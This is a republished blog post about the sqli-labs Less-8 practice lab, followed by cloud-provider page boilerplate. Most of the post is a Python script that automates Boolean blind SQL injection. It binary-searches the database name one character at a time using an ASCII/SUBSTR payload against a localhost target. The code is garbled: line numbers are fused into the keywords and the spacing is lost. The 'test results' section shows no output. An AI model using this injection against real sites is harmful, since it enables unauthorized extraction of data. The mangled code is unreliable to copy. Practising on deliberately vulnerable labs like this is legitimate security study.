Python script Learning One: testing Boolean blind footnotes

Source: Internet
Author: User
Tags python script

Sqli-labs Eighth: Single-Quote Boolean blind, hand-measured database length, personal feel manual faster

Then using a script to test the database content, this script is much faster than manual, the script content is as follows:

1 ImportSYS2 ImportRequests3 4Url="http://127.0.0.1/sqli-labs-master/Less-8/?id=1%s"5Payload="' and ASCII (SUBSTR (Database (),%s,1)) >%s--+"6Database="'7 Print("Start to retrive the database")8  forIinchRange (1,9):9max=122#ZTenMin=65#A One      whileABS (Max-min) >1:  AMid=int ((max+min)/2) -P=payload%(str (i), str (mid)) -Response=requests.get (url%p) the         ifResponse.content.find (" You is in")!=-1: -min=Mid -         Else: -max=Mid +Database=database+chr (max) -     Print("The database is:%s"% database)

Test results:

Python script Learning One: testing Boolean blind footnotes

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.